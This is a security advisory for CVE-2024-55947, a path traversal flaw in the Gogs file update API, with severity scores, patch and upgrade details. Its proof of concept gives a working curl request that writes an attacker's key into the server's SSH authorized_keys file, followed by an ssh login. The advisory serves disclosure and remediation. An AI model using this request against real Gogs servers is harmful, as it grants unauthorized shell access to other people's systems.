CVE-2024-55947 – gogs.io/gogs

Package

Manager: go
Name: gogs.io/gogs
Vulnerable Version: >=0 <0.13.1

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS: 0.01135 pctl0.77546

Details

Path Traversal in file update API in gogs ### Impact The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. ### Patches Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev. ### Workarounds No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions. ### References n/a ### Proof of Concept 1. Generate a Personal Access Tokens 2. Edit any file on the server with this ```bash curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }' ``` 3. ssh connect to remote server ```bash ssh -i temp git@localhost -p 10022 ``` ### For more information If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

Metadata

Created: 2024-12-23T17:53:16Z
Modified: 2025-04-10T22:56:52Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-qf5v-rp47-55gg/GHSA-qf5v-rp47-55gg.json
CWE IDs: ["CWE-22"]
Alternative ID: GHSA-qf5v-rp47-55gg
Finding: F063
Auto approve: 1